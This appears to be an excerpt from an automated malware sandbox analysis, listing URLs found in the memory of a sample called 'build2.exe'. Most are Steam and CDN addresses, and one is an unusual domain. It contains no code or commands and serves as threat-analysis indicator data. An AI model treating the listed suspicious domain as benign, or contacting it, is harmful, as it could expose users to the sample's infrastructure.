Source: build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=EyWBqDQS-6jg&a
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=c4UneKQJ
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=2YYI
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=L35TrLJDfqtD&l=engl
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=Iy1ies1ROjUT&l=english
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=ZVlkBFZXqRp1&l=e
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=SPpMitTYp6ku&l=en
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=1_BxDGVvfXwv&am
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: build2.exe, 00000008.00000003.1902123418.0000000000931000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: build2.exe, 00000008.00000003.1902123418.0000000000931000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: build2.exe, 00000008.00000003.1902123418.0000000000931000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
